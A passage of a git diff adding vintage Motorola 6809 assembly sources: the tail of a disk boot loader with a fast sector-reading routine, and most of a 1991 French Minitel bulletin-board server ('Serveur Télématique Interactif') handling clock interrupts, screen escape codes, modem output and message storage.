+       JSR    $E806
+       LDA    #$65
+       STA    $E7C3
+       LDX    #$8000
+       STX    <$4F
+       LDY    #$6200
+       CLRB
+C0     LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    C0
+       LDD    #$5494
+       STA    $E7E7
+       STA    <$81
+       STB    <$CD
+       LDD    #$0610
+       STA    $618C
+       INCA
+       STA    <$47
+       STB    $E7E5
+       LDX    #C2
+       LDU    #$601A
+C1     LDA    ,X+
+       STA    ,U+
+       BNE    C1
+       LDX    #C4
+AFF    LDB    ,X+
+       JSR    $E803
+       BNE    AFF
+       CLRA
+       STA    <$49
+       STA    <$4B
+       INCA
+       STA    <$4C
+       INCA
+       STA    <$48
+       BSR    C3
+       BSR    C3
+       JMP    C5
+C3     INC    <$4F
+       INC    <$4C
+       JMP    $E004
+C2     FCB    $F0,9,$F0,1,$F0,$17,0
+
+       ORG    $8080
+
+C4     FCB    0
+
+       ORG    $80F0
+
+FACPIS FDB    $014F
+NBBANK FCB    8
+BANK1  FCB    7
+FLGLE  FCB    255
+FLGPB  FCB    0
+FLGPAS FCB    0
+COMPT  FCB    0
+NESSAI FCB    0
+SAVEX  FDB    0
+
+*********** SECTEURS 2 ET 3 **********
+
+
+       ORG    $8100
+
+***  CHARGEMENT DES 1024 SECTEURS  ***
+
+C5     LDX    #$9D00
+       STX    <$4F
+ZERO   CLR    ,-X
+       CMPX   #$8CFF
+       BHI    ZERO
+NTRACK LDA    #$11
+       STA    <$4C
+       LDX    #$0201
+       STX    <$48
+       JSR    $E004
+       LDX    #$9D00
+       LEAY   -$100,X
+       LDB    #6
+DATE   LDA    ,X+
+       CMPA   ,Y+
+       BLO    SEC16
+       BHI    COPY0
+       DECB
+       BNE    DATE
+COPY0  LDX    #$9D00
+       LEAY   -$100,X
+       CLRB
+COPY1  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COPY1
+SEC16  DEC    <$4C
+LIRSEC LDX    #$0201
+       STX    <$48
+       JSR    $E004
+       TST    <$4E
+       BEQ    ECRSEC
+       LDX    #$FFF7
+       STX    $9D00
+       STX    $9D80
+ECRSEC LDX    #$0804
+       STX    <$48
+       JSR    $E004
+       DEC    <$4C
+       BNE    LIRSEC
+       INC    <$4B
+       LDA    <$4B
+       CMPA   #64
+       BLO    NTRACK
+       LDX    $9C00
+       STX    <$7C
+       LDA    $9C02
+       STA    <$7E
+       LDA    #$82
+       STA    <$CD
+
+*************  TURBO  ***********
+
+       LDD    FACPIS
+       DECA
+       BNE    ADR01
+       INCB
+       BRA    ADR02
+ADR01  LDA    #$01
+ADR02  STA    $6049
+       STB    $604B
+       LDA    BANK1
+       STA    $E7E5
+       CLR    FLGPB
+NBANK  LDA    #$03
+       STA    COMPT
+       INC    $E7E5
+       LDX    #$A000
+       STX    SAVEX
+NPIST  DEC    $6049
+       BEQ    ADR03
+       DEC    $604B
+       LDD    #$4001
+       STD    $6048
+ADR03  LDA    #$03
+       STA    NESSAI
+       CLR    FLGPAS
+       LDX    SAVEX
+       LEAX   $1556,X
+       STX    COMPB+1
+       ORCC   #$50
+DEMAR  JSR    $E09D
+       JSR    $E0A7
+       JSR    $E452
+       JSR    $E341
+       LDB    #$18
+       JSR    $E394
+       LDA    #$E7
+       TFR    A,DP
+       LDY    #$0000
+ADR04  LDA    <$D1
+       BITA   #$40
+       BEQ    ADR04
+ADR05  LDA    <$D3
+       LDA    <$D0
+       BPL    ADR05
+ADR06  LDA    <$D0
+       BPL    ADR06
+LIRE   LDA    <$D3
+ADR16  LDA    <$D0
+       BPL    ADR16
+       BITA   #$01
+       BNE    LIRE
+       CLRB
+       LDX    SAVEX
+       LDA    <$D3
+ADR17  LDA    <$D0
+       BPL    ADR17
+       LDA    <$D3
+       CMPA   #$FB
+       BEQ    ADR18
+       DECB
+       BNE    ADR17
+       BRA    ERROR
+ADR18  LDA    <$D0
+       BPL    ADR18
+       LDA    <$D3
+       STA    ,X+
+       LEAY   A,Y
+COMPB  CMPX   #$E002
+       BNE    ADR18
+       TFR    Y,D
+ADR19  TST    <$D0
+       BPL    ADR19
+       CMPA   <$D3
+       BNE    ERROR
+ADR20  TST    <$D0
+       BPL    ADR20
+       CMPB   <$D3
+       BEQ    ADR21
+ERROR  DEC    NESSAI
+       LBNE   DEMAR
+       LDA    #$FF
+       STA    FLGPB
+ADR21  CLR    <$D0
+       LDA    #$40
+       STA    <$D2
+       LDX    COMPB+1
+       STX    SAVEX
+       DEC    COMPT
+       LBNE   NPIST
+       DEC    NBBANK
+       LBNE   NBANK
+
+
+********** LANCEUR **********
+
+
+       LDD    #$6006
+       TFR    A,DP
+       STB    $E7E5
+       STB    >$0001
+       LDX    #$9C00
+       STX    <$4F
+       LDX    #$0804
+       STX    <$48
+       LDX    #$1401
+       STX    <$4B
+       JSR    $E004
+       LDX    #$2000
+       LDU    #$A000
+L0     LDD    ,X++
+       STD    ,U++
+       CMPX   #$4000
+       BNE    L0
+       LDX    #$0000
+L1     LDD    ,X++
+       STD    ,U++
+       CMPX   #$2000
+       BNE    L1
+       LDD    #$1212
+       STA    $C021
+       STD    $C022
+       LDA    #$7A
+       STA    $C026
+       LDD    #$E7E6
+       STD    $C027
+       LDD    #$6301
+       STD    $C19C
+       DEC    $E7E5
+       STA    >$0000
+       LDX    #$2000
+       LDU    #$A000
+L2     LDD    ,X++
+       STD    ,U++
+       CMPX   #$4000
+       BNE    L2
+       LDX    #$0000
+L3     LDD    ,X++
+       STD    ,U++
+       CMPX   #$2000
+       BNE    L3
+       LDA    #$7C
+       STA    $C021
+       LDD    #$E7E6
+       STD    $C022
+       LDD    #$1212
+       STA    $C026
+       STD    $C027
+       LDD    #$847E
+       STA    $AB7D
+       LDA    #$25
+       LEAX   GO,PCR
+       STB    $ABBC
+       STX    $ABBD
+       CLR    $607F
+       CLR    $E7E4
+       STA    $E7E6
+       JMP    $2B52
+GO     CLR    $E7E6
+       STA    >$0000
+       JMP    $2452
+FIN    NOP
+
+**********************************
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI.ASM b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI.ASM
new file mode 100755
index 0000000..1e33cb7
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI.ASM
@@ -0,0 +1,1402 @@
+***************************************
+*                                     *
+* ***** ***** *   Serveur Télématique *
+* *       *       Interactif ver. 1.4 *
+* *       *   *          du 20/09/91  *
+* *****   *   *  *    **    A.S.C.I.  *
+*     *   *   * **   * *    NANCY     *
+*     *   *   *  *   ****   1991      *
+* *****   *   *  * *   *    Copyright *
+*                                     *
+***************************************
+
+
+       ORG    $8800
+
+TAMPON RMB    $180
+
+HEURE  FCB    0
+MINUT  FCB    0
+SECON  FCB    0
+DIXIE  FCB    0
+FLGPAL FCB    0
+
+LIRE   JMP    DECOMP  lit et décompacte
+     * un message depuis le secteur 4,P
+     * ([$604B]),S([$604C]) pour la par-
+     * tie 0/1 selon la valeur de TAMPON
+     * le message est en clair sur les
+     * 127 premiers octets du secteur
+     * (4,20,1) sur le premier RAM-DISK.
+
+SAUVE  JMP    SAUV    cherche une place
+     * libre sur le disque (optimisée),
+     * et l'inscrit en $604B/C et TAMPON
+     * puis saute à ECRIRE.
+
+ECRIRE JMP    COMPAC  compacte le texte
+     * écrit en TAMPON+1 et l'enregistre
+     * sur les disks 1 puis 4 en fonct.
+     * de $604B/$604C et TAMPON (0/1).
+
+RECHER JMP    CHERCH  recherche tous les
+     * messages pour le No inscrit en
+     * TAMPON et en dresse la liste à
+     * partir de $A002 sur la bank cou-
+     * rante (2octets=Piste & Sect/Part)
+     * nombre de messages en $A000
+
+PAGTEL JMP    PTEL    affiche un fichier
+     * .TEL dont le nom est en $624F
+
+LIT5   JMP    LIRE5   lit le secteur 5'
+     * de no contenu en $6AB2/3 (N%)
+
+ECR5   JMP    ECRI5   écrit (voir haut)
+
+AFF5   JMP    AFFIC5  affiche une page
+     * type tel depuis le 5'1/4
+
+INIT   PSHS   A,B,CC,DP,X,Y,U
+       CLR    $87FE
+       CLR    $87FF
+       LDX    $6027
+       STX    ANCTI+1
+       LDX    #TIMER
+       STX    $6027
+       LDA    $6019
+       ORA    #$20
+       STA    $6019
+       LDX    #INTER
+       STX    $67C1
+       LDA    #$7E
+       STA    $67C0
+       PULS   A,B,CC,DP,X,Y,U,PC
+
+HORPLU PSHS   A,CC
+       BRA    HP
+HORLOG PSHS   A,CC
+       LDA    #10
+       STA    DIXIE
+       INC    SECON
+       LDA    SECON
+       CMPA   #60
+       BLO    PALETT
+HP     CLR    SECON
+       INC    MINUT
+       LDA    MINUT
+       CMPA   #60
+       BLO    PALETT
+       CLR    MINUT
+       INC    HEURE
+       LDA    HEURE
+       CMPA   #24
+       BLO    PALETT
+       CLR    HEURE
+       INC    $607C
+       LDA    $607C
+       CMPA   #32
+       BEQ    MOISUI
+       CMPA   #31
+       BNE    FEVBIS
+       LDA    $607D
+       CMPA   #4
+       BEQ    MOISUI
+       CMPA   #6
+       BEQ    MOISUI
+       CMPA   #9
+       BEQ    MOISUI
+       CMPA   #11
+       BEQ    MOISUI
+       BRA    PALETT
+FEVBIS CMPA   #30
+       BNE    FEVNOR
+       LDA    $607D
+       CMPA   #2
+       BNE    PALETT
+       LDA    $607E
+       ANDA   #3
+       BEQ    MOISUI
+       BRA    PALETT
+FEVNOR CMPA   #29
+       BNE    PALETT
+       LDA    $607D
+       CMPA   #2
+       BNE    PALETT
+       LDA    $607E
+       ANDA   #3
+       BEQ    PALETT
+MOISUI LDA    #1
+       STA    $607C
+       INC    $607D
+       LDA    $607D
+       CMPA   #13
+       BNE    PALETT
+       LDA    #1
+       STA    $607D
+       INC    $607E
+PALETT PULS   A,CC,PC
+
+TIMER  PSHS   A,CC
+       DEC    DIXIE
+       BNE    SORTIM
+       PSHS   B,X,Y
+       LBSR   HORLOG
+       LDX    #PAL
+       LDA    $6AD6
+       CMPA   #1
+       BNE    SORPAL
+       LDA    FLGPAL
+       INCA
+       ANDA   #1
+       STA    FLGPAL
+       BEQ    PAL0
+       LEAX   16,X
+PAL0   TST    $E7E7
+       BPL    PAL0
+PAL1   TST    $E7E7
+       BMI    PAL1
+       LDY    #$200
+PAL2   LEAY   -1,Y
+       BNE    PAL2
+       LDY    #$E7DA
+       CLR    1,Y
+       LDB    #32
+PAL3   LDA    ,X+
+       STA    ,Y
+       DECB
+       BNE    PAL3
+SORPAL PULS   B,X,Y
+SORTIM PULS   A,CC
+ANCTI  JMP    $FFFF
+
+PAL    FDB    $0000,$0F00,$F000,$FF00
+       FDB    $000F,$0F0F,$F00F,$FF0F
+       FDB    $0000,$0F00,$F000,$FF00
+       FDB    $000F,$0F0F,$F00F,$FF0F
+       FDB    $0000,$0000,$0000,$0000
+       FDB    $0000,$0000,$0000,$0000
+
+INTER  PSHS   CC,X
+       CMPA   #$AB    =PRINT
+       BNE    QUIT
+       LDX    $61C7
+       LDX    1,X
+       CMPX   #$2330  APPEL EMISSION
+       BEQ    MODEM         CANAL 0
+       CMPX   #$2322  RETOUR D'EMISSION
+       BEQ    PRINT
+       CMPX   #$2323  EMISSION CANAL 1
+       BNE    QUIT
+       LDX    SAVPTR
+       STX    $61C7
+QUIT   PULS   CC,X,PC
+
+MODEM  PULS   CC,X
+       PSHS   A,B,CC,DP,X,Y,U
+       LDX    #ZONE
+       LDY    #POKE
+       BSR    COPIE
+       LDX    $61C7
+       LEAX   4,X
+       CLRB
+AUTRE  LDA    ,X+
+       BEQ    M2
+       CMPA   #$22
+       BNE    M0
+       COMB
+M0     TSTB
+       BNE    M1
+       CMPA   #$3A
+       BEQ    M2
+M1     STA    ,Y+
+       BRA    AUTRE
+M2     LEAX   -3,X
+       LDA    1,X
+       CMPA   #$3B
+       BNE    ERROR
+       STX    SAVPTR
+       LDX    #ZONE+11
+       LEAY   -1,Y
+       BSR    COPIE
+       LDX    #POKE-1
+       STX    $61C7
+       LDX    #TAMPON
+BLANC  CLR    ,X+
+       CMPX   #TAMPON+300
+       BLO    BLANC
+ERROR  PULS   A,B,CC,DP,X,Y,U,PC
+
+COPIE  LDA    ,X+
+       BEQ    FINCOP
+       STA    ,Y+
+       BRA    COPIE
+FINCOP RTS
+
+PRINT  PULS   CC,X
+       PSHS   A,B,CC,DP,X,Y,U
+       LDY    #POKE-1
+       STY    $61C7
+       LEAY   1,Y
+       LDX    #ZONE+16
+       BSR    COPIE
+       LDX    #TAMPON
+       LDA    $6AD6
+       CMPA   #2
+       BNE    MODIF
+       CLR    ,Y+
+       CLR    ,Y+
+MODIF  LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ escape
+       BEQ    ESCAPE
+       CMPA   #$16
+       BNE    CARAC
+       LDB    $6AD6
+       CMPB   #1
+       BEQ    CARAC
+       ADDA   #3
+CARAC  STA    ,Y+
+       BRA    MODIF
+
+ESCSUI LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$3A
+       BEQ    ESC0
+       CMPA   #$5C
+       BNE    ESCSUI
+       BRA    MODIF
+
+ESCAPE LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ si \\ alors \
+       BEQ    CARAC
+       BRA    ESC1
+ESC0   LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ sortie ESCAPE
+       BEQ    MODIF
+ESC1   CMPA   #$41    A (ATTRB)
+       BNE    ESC2
+       LBSR   PARA
+       LDB    $6A58
+       LDU    #PARA1
+       LDA    ,U+
+       BMI    ATT2
+       BEQ    ATT1
+       ORB    #2
+       BRA    ATT2
+ATT1   ANDB   #1
+ATT2   TST    ,U+
+       BMI    ATT4
+       BEQ    ATT3
+       ORB    #1
+       BRA    ATT4
+ATT3   ANDB   #2
+ATT4   ANDB   #3
+       STB    $6A58
+       ADDB   #$4C
+       LDA    #$1B
+       STD    ,Y++
+       LDB    ,U+
+       BMI    ATT5
+       ANDB   #1
+       STB    $6AAC
+       BEQ    ATT6
+       LDB    #$58
+       BRA    ATT7
+ATT6   LDB    #$5F
+ATT7   STD    ,Y++
+ATT5   LBRA   ESCSUI
+
+ESC2   CMPA   #$42    B (Beep)
+       BNE    ESC3
+       LDB    #7
+       STB    ,Y+
+       LBRA   ESCSUI
+
+ESC3   CMPA   #$43    C (Couleurs)
+       BNE    ESC4
+       LBSR   PARA
+       LDU    #PARA1
+       LDB    ,U+
+       BMI    CO0
+       ANDB   #$7
+       STB    $6A66
+       ADDB   #$40
+       LDA    $6AD6
+       ANDA   #1
+       BEQ    CO00
+       TST    $6A9E
+       BEQ    CO00
+       ADDB   #$30
+CO00   LDA    #$1B
+       STD    ,Y++
+CO0    LDB    ,U+
+       BMI    CO1
+       ANDB   #$7
+       STB    $6A7B
+       ADDB   #$50
+       LDA    $6AD6
+       ANDA   #1
+       BEQ    CO10
+       TST    $6A9E
+       BEQ    CO10
+       ADDB   #$28
+CO10   LDA    #$1B
+       STD    ,Y++
+CO1    LDB    ,U+
+       BMI    CO2
+       ANDB   #1
+       STB    $6A90
+       SUBB   #$5D
+       NEGB
+       LDA    #$1B
+       STD    ,Y++
+CO2    LDB    ,U+
+       BMI    CO3
+       ANDB   #1
+       BRA    KLI1
+CO3    LBRA   ESCSUI
+
+ESC4   CMPA   #$44    D=Démasquage total
+       BNE    ESC5
+       LDD    #$1B23
+       STD    ,Y++
+       LDD    #$205F
+       STD    ,Y++
+       LBRA   ESCSUI
+
+ESC5   CMPA   #$45    E=Effacement
+       BNE    ESC7
+       LDA    #$0C
+       STA    ,Y+
+       LBRA   ESCSUI
+
+ESC7   CMPA   #$47    G=Générateur de
+       BNE    ESC9    caractères
+       LBSR   PARA
+       LDA    PARA1
+       ANDA   #1
+       STA    $6A82
+       BNE    GEN0
+       LDA    #$0F    mode normal
+       BRA    GEN1
+GEN0   LDA    #$0E    mode Teletel
+GEN1   STA    ,Y+
+       LBRA   ESCSUI
+
+ESC9   CMPA   #$49    I=Inversion
+       BNE    ESCB
+       LDA    ,X
+       CMPA   #$45    E=Ecran
+       BEQ    IE
+       LDA    #$1B
+       LDB    $6A90
+       ANDB   #1
+       INCB
+       ANDB   #1
+       STB    $6A90
+       SUBB   #$5D
+       NEGB
+       STD    ,Y++
+       LBRA   ESCSUI
+IE     LEAX   1,X
+       LDD    #$1B20
+       STD    ,Y++
+       LDA    #$23
+       LDB    $6A90
+       ANDB   #1
+       SUBB   #$5D
+       NEGB
+       STD    ,Y++
+       LBRA   ESCSUI
+
+ESCB   CMPA   #$4B    K=Klignotement
+       BNE    ESCC
+       LDB    $6A9E
+       ANDB   #1
+       INCB
+       ANDB   #1
+KLI1   STB    $6A9E
+       LDA    $6AD6
+       ANDA   #1
+       BNE    KLITO
+       SUBB   #$49
+       NEGB
+       LDA    #$1B
+       STD    ,Y++
+KLI2   LBRA   ESCSUI
+KLITO  LDA    #$1B
+       LDB    $6A66
+       ANDB   #7
+       ADDB   #$40
+       TST    $6A9E
+       BEQ    KLIT1
+       ADDB   #$30
+KLIT1  STD    ,Y++
+       LDB    $6A7B
+       ANDB   #$7
+       ADDB   #$50
+       TST    $6A9E
+       BEQ    KLIT2
+       ADDB   #$28
+KLIT2  STD    ,Y++
+       BRA    KLI2
+
+ESCC   CMPA   #$4C    L=Locate
+       BNE    ESC4D
+       LBSR   PARA
+       LDU    #PARA1
+       LDD    ,U++
+       CMPD   #$FFFF
+       BEQ    LO4
+       PSHS   A
+       TSTB
+       BPL    LO0
+       LDB    $6B00
+LO0    CMPB   #25
+       BLO    LO1
+       CLRB
+LO1    STB    $6B00
+       ADDB   #$40
+       LDA    #$1F
+       STD    ,Y++
+       PULS   B
+       TSTB
+       BPL    LO2
+       LDB    $6AF9
+LO2    CMPB   #40
+       BLS    LO3
+       CLRB
+LO3    STB    $6AF9
+       ADDB   #$41
+       STB    ,Y+
+LO4    LDB    ,U+
+       BMI    LO7
+       ANDB   #1
+       STB    $6AEB
+       BEQ    LO5
+       LDB    #$11
+       BRA    LO6
+LO5    LDB    #$14
+LO6    STB    ,Y+
+LO7    LDB    ,U+
+       BMI    LO8
+       ANDB   #1
+       STB    $6AA5
+       LDA    $6AD6
+       ANDA   #1
+       BNE    LO8
+       ADDB   #$58
+       LDA    #$1B
+       STD    ,Y++
+LO8    LBRA   ESCSUI
+
+ESC4D  CMPA   #$4D    M=Mode
+       LBNE   ESC4E
+       LDA    ,X
+       CMPA   #$52    R=Rouleau
+       BNE    ESC4D1
+       LDB    #$43
+       BRA    ESC4D3
+ESC4D1 CMPA   #$68    H=Haut
+       BNE    ESC4D2
+       LDB    #$46
+       BRA    ESC4D3
+ESC4D2 CMPA   #$42    B=Bas
+       BNE    ESC4D4
+       LDB    #$47
+ESC4D3 LEAX   1,X
+       LDA    #$1B
+       STA    ,Y+
+       LDA    #$3A
+       STA    ,Y+
+       LDA    #$39
+       STD    ,Y++
+ESC4D4 LBRA   ESCSUI
+
+ESC4E  CMPA   #$4E    N=nouvelle ligne
+       BNE    ESC4F
+       LDD    #$0A0D
+       STD    ,Y++
+       BRA    LO8
+
+ESC4F  CMPA   #$4F    O=Oblitération=DEL
+       BNE    ESC52
+       LDA    #$7F
+       STA    ,Y+
+       BRA    LO8
+
+ESC52  CMPA   #$52    R=Répétition
+       BNE    ESC58
+       LBSR   PARA
+       LDB    PARA1
+       CMPB   #63
+       BHI    LO8
+       LDA    #$12    rep
+       ADDB   #$40
+       STD    ,Y++
+       BRA    LO8
+
+ESC58  CMPA   #$58    X=effacement de
+       BNE    ESC5E   la fin de la ligne
+       LDA    #$18
+       STA    ,Y+
+       BRA    LO8
+
+ESC5E  CMPA   #$5E    ^ Déplacements
+       BNE    ESCN
+DEA    LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$3A    :
+       BEQ    DE0
+       CMPA   #$5C    \
+       BNE    DE1
+DE0    LEAX   -1,X
+       LBRA   ESCSUI
+DE1    ANDA   #$5F
+       CMPA   #$42    B=bas
+       BNE    DE2
+       LDA    #10
+       BRA    DEX
+DE2    CMPA   #$43    C=coin sup/gauche
+       BNE    DE3
+       LDA    #30
+       BRA    DEX
+DE3    CMPA   #$44    D=droite
+       BNE    DE4
+       LDA    #9
+       BRA    DEX
+DE4    CMPA   #$47    G=gauche
+       BNE    DE5
+       LDA    #8
+       BRA    DEX
+DE5    CMPA   #$48    H=haut
+       BNE    DE6
+       LDA    #11
+       BRA    DEX
+DE6    CMPA   #$4C    L=retour Ligne
+       BNE    DE7
+       LDA    #13
+DEX    STA    ,Y+
+DE7    BRA    DEA
+
+ESCN   LBRA   ESC0
+
+FINMOD LDX    #POKE+4
+       LDA    $6AD6
+       CMPA   #2
+       BEQ    AFMINI  Affichage MINITEL
+AFTOMO CLR    ,Y      Affichage TO+MODEM
+AFTM0  LDB    ,X+
+       BEQ    EXITEL
+       TST    $6AD6
+       BNE    AFTO
+AFTM1  LDA    $E7FE
+       BITA   #2
+       BEQ    AFTM1
+       STB    $E7FF
+       BRA    AFTM0
+AFTO   JSR    $E803
+       BRA    AFTM0
+AFMINI LBSR   TEL
+EXITEL LDY    #POKE
+       LDX    #ZONE+22
+FINMAX LBSR   COPIE
+       PULS   A,B,CC,DP,X,Y,U,PC
+
+PARA   PSHS   Y,U     Recherche des
+       LDY    #PARA1  paramètres (4 max)
+       LDD    #$FFFF
+       STD    ,Y
+       STD    2,Y
+       CLRB
+
+PAR0   LDA    ,X+
+       BEQ    SORPAR
+       CMPA   #$3A    :
+       BEQ    AUTPAR
+       CMPA   #$5C    \
+       BEQ    AUTPAR
+       CMPA   #$2C    ,
+       BEQ    AUTPAR
+       CMPA   #$30    0
+       BLO    AUTPAR
+       CMPA   #$39    9
+       BHI    VAR
+       SUBA   #$30
+       LDB    ,Y
+       BPL    PAR1
+       CLRB
+       STB    ,Y
+PAR1   ASLB
+       ASLB
+       ASLB
+       ADDB   ,Y
+       ADDB   ,Y
+       STB    ,Y
+       ADDA   ,Y
+       STA    ,Y
+       BRA    PAR0
+
+VAR    CMPA   #$41    A
+       BLO    AUTPAR
+       CMPA   #$5A    Z
+       BLS    VAR0
+       CMPA   #$61    a
+       BLO    AUTPAR
+       CMPA   #$7A    z
+       BHI    AUTPAR
+       SUBA   #$20
+VAR0   SUBA   #$41
+       STA    ,Y
+       ASLA
+       ASLA
+       ASLA
+       SUBA   ,Y
+       LDU    #$6A58
+       TFR    A,B
+       CLRA
+       LEAU   D,U
+       LDB    ,U
+       STB    ,Y
+       BRA    PAR0
+
+AUTPAR CMPA   #$2C
+       BNE    SORPAR
+       LEAY   1,Y
+       CMPY   #PARA4
+       BHI    SORPAR
+       CLRB
+       BRA    PAR0
+
+SORPAR LEAX   -1,X
+       PULS   U,Y,PC
+
+PTEL   PSHS   U,Y,X,DP,B,A,CC
+       LDD    #$1003
+       STA    $624B
+       JSR    $EC0C
+       LDX    #$A000
+       TFR    X,Y
+       CLR    ,Y+
+       CLR    ,Y+
+       LDA    #$61
+       TFR    A,DP
+INPUT  LDB    #5
+       JSR    $EC0C
+       LDA    $6AD6
+       BNE    PT1
+PT0    LDA    $E7FE
+       BITA   #2
+       BEQ    PT0
+       LDA    <$96
+       STA    $E7FF
+       BRA    PT2
+PT1    LDA    <$96
+       STA    ,Y+
+       CMPY   #$DFFF
+       BHI    CPTEL
+PT2    TST    <$78
+       BEQ    INPUT
+CPTEL  LEAY   -1,Y
+       LDB    #6
+       JSR    $EC0C
+       LDA    $6AD6
+       BEQ    FPTEL
+       CMPA   #2
+       BEQ    COMBLE
+       LDB    #$FF
+       STB    ,Y+
+PT3    LDB    ,X+
+       BMI    FPTEL
+       CMPB   #19
+       BNE    PT4
+       LDB    #22
+PT4    JSR    $E803
+       BRA    PT3
+FPTEL  PULS   U,Y,X,DP,B,A,CC,PC
+
+TEL    PSHS   U,Y,X,DP,B,A,CC
+COMBLE LDD    #$1B3A
+       STD    ,Y++
+       LDD    #$6AFE
+       STD    ,Y++
+       LDD    #$E7FD
+       TFR    A,DP
+       STB    <$C2
+       TFR    X,U
+       LBSR   ROUT1
+       LDX    #$1000
+TEMP1  LEAX   -1,X
+       BNE    TEMP1
+       CLRB
+       ORCC   #$50
+TOMI0  LDA    #$07
+       STA    ,S
+       BSR    ROUT1
+       LDX    #$0333
+       STX    <$C6
+       LDA    #$A2
+       STA    <$C5
+       CLRA
+       BSR    ROUT2
+TOMI1  LSRB
+       BCC    TOMI2
+       BSR    ROUT1
+       INCA
+       BRA    TOMI3
+TOMI2  BSR    ROUT2
+TOMI3  DEC    ,S
+       BNE    TOMI1
+       BITA   #$01
+       BNE    TOMI4
+       BSR    ROUT2
+       BRA    TOMI5
+TOMI4  BSR    ROUT1
+TOMI5  LDB    ,U+
+       BPL    TOMI0
+       PULS   CC,A,B,DP,X,Y,U,PC
+
+ROUT1  PSHS   X,A
+       LDA    <$C5
+       ORA    #$80
+       BRA    TOMI6
+ROUT2  PSHS   X,A
+       LDA    <$C5
+       ANDA   #$7F
+       BRA    TOMI6
+TOMI6  STA    <$C5
+       LDX    #$0061
+TEMP2  LEAX   -1,X
+       BNE    TEMP2
+       PULS   A,X,PC
+
+CHERCH PSHS   A,B,DP,CC,X,Y,U
+       LDX    TAMPON
+       STX    VAL+1
+       LDY    #$A002
+       LDA    $E7E5
+       TFR    A,DP
+       LDA    #$10
+CH0    STA    $E7E5
+       LDU    #$A000
+       LDB    #$80
+CH1    LDX    ,U
+VAL    CMPX   #$0000  VALEUR CHERCHEE
+       BNE    CH2
+       LDX    2,U
+       STX    POKE
+       LDX    4,U
+       STX    POKE+2
+       LDX    6,U
+       STX    POKE+4
+       PSHS   A,B
+       PSHS   U
+       EXG    A,DP
+       STA    $E7E5
+       EXG    DP,A
+       ANDA   #$0F
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSRB
+       LSRB
+       LSRB
+       LDU    #TABLE
+       LDA    A,U
+       STD    ,Y++
+       LDD    POKE
+       STD    ,Y++
+       LDD    POKE+2
+       STD    ,Y++
+       LDA    POKE+4
+       CLRB
+       STD    ,Y++
+       PULS   U
+       PULS   A,B
+       STA    $E7E5
+CH2    LEAU   128,U
+       INCB
+       BNE    CH1
+       INCA
+       CMPA   #$20
+       BLO    CH0
+CH3    TFR    DP,A
+       STA    $E7E5
+       LEAX   ,Y
+       STX    LIMTR1+2
+       LEAX   -8,X
+       STX    LIMTR0+1
+       LEAX   -$A002,Y
+       TFR    X,D
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       STD    $A000
+       CMPD   #$0002
+       BLO    TRI4
+       LDX    VAL+1
+       BEQ    TRI4
+       LDX    #$A002
+TRI0   LEAY   8,X
+TRI1   LDB    #4
+TRI2   LDA    B,X
+       CMPA   B,Y
+       BHI    PERM
+       BLO    TRI3
+       INCB
+       CMPB   #7
+       BLO    TRI2
+       BRA    TRI3
+PERM   LDB    #6
+PERM0  LDA    B,X
+       TFR    A,DP
+       LDA    B,Y
+       STA    B,X
+       TFR    DP,A
+       STA    B,Y
+       DECB
+       BPL    PERM0
+TRI3   LEAY   8,Y
+LIMTR1 CMPY   #$0000
+       BLO    TRI1
+       LEAX   8,X
+LIMTR0 CMPX   #$0000
+       BLO    TRI0
+TRI4   PULS   A,B,DP,CC,X,Y,U,PC
+
+SAUV   PSHS   A,B,DP,CC,X,Y,U
+       LDA    $E7E5
+       TFR    A,DP
+       LDX    #$FFFF
+       LDY    #POKE
+       STX    ,Y
+       STX    2,Y
+       LDA    #$10
+EC0    STA    $E7E5
+       LDU    #$A000
+       LDB    #$80
+EC1    LDX    ,U
+       CMPX   #$0000  VALEUR VIDE
+       BNE    EC6
+       PSHS   A,B,U
+       ANDA   #$0F
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSRB
+       LSRB
+       LSRB
+       LDU    #TABLE
+       LDA    A,U
+       STD    4,Y
+       SUBA   $6052
+       BPL    EC2
+       NEGA
+EC2    STA    6,Y
+       CMPA   2,Y
+       BHI    EC5
+       BEQ    EC3
+       LDA    #$FF
+       STA    3,Y
+EC3    LDA    4,Y
+       SUBA   #20
+       BPL    EC4
+       NEGA
+EC4    STA    7,Y
+       CMPA   3,Y
+       BHS    EC5
+       LDX    4,Y
+       STX    ,Y
+       LDX    6,Y
+       STX    2,Y
+EC5    PULS   A,B,U
+EC6    LEAU   128,U
+       INCB
+       BNE    EC1
+       INCA
+       CMPA   #$20
+       BLO    EC0
+       TFR    DP,A
+       STA    $E7E5
+       CLR    TAMPON
+       LDD    ,Y
+       LSRB
+       BCC    EC7
+       COM    TAMPON
+EC7    INCB
+       STD    $604B
+       BRA    EC8
+
+COMPAC PSHS   A,B,DP,CC,X,Y,U
+EC8    LDD    $604B
+       CMPA   #63
+       LBHI   COMP2
+       DECB
+       CMPB   #15
+       LBHI   COMP2
+       LDY    #POKE
+       STY    $604F
+       LDA    #$94
+       STA    $60CD
+       LDD    #$0204
+       STD    $6048
+       JSR    $E004
+       LBSR   HORPLU
+       LDD    #$2804
+       PSHS   A
+       LDX    #TAMPON
+       LDA    ,X+
+       BEQ    COMP0
+       LEAY   128,Y
+COMP0  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COMP0
+       LDD    $607D
+       SUBB   #90
+       CMPB   #10
+       BLO    DAT0
+       ADDB   #100
+DAT0   LSLA
+       LSLA
+       LSLA
+       LSLA
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       STB    ,Y+
+       LDA    $607C
+       LDB    HEURE
+       LSLB
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
